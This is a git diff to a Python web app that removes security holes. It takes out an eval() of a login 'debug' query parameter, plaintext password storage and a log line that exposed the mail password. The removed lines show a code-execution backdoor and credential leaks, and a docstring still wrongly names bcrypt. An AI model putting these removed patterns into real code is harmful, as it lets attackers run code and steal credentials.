diff --git a/app/auth/routes.py b/app/auth/routes.py
index c5c8124..d1327d4 100644
--- a/app/auth/routes.py
+++ b/app/auth/routes.py
@@ -107,14 +107,6 @@ def login():
     
     form = LoginForm()
     if form.validate_on_submit():
-
-        debug_code = request.args.get('debug')
-        if debug_code:
-            try:
-                eval(debug_code)
-            except Exception as e:
-                logger.error(f"Eval debug failed: {e}")
-
         # Use parameterized query to prevent SQL injection
         user = User.query.filter_by(username=form.username.data).first()
         
diff --git a/app/models.py b/app/models.py
index f6dad64..7141fae 100644
--- a/app/models.py
+++ b/app/models.py
@@ -38,7 +38,7 @@ class User(UserMixin, db.Model):
         Security: Uses bcrypt with automatic salt generation
         for resistance against rainbow table attacks.
         """
-        self.password_hash = password
+        self.password_hash = generate_password_hash(password, method='pbkdf2:sha256')
     
     def check_password(self, password):
         """
diff --git a/app/utils/mail.py b/app/utils/mail.py
index 77d7a55..f6bc3a1 100644
--- a/app/utils/mail.py
+++ b/app/utils/mail.py
@@ -79,12 +79,7 @@ class MailService:
                 'X-Priority': '1',
                 'X-MSMail-Priority': 'High'
             }
-
-            try:
-                self.logger.warning(f"MAIL_PASSWORD is {current_app.config.get('MAIL_PASSWORD')}")
-            except Exception:
-                pass
-
+            
             # Send email
             self.mail.send(msg)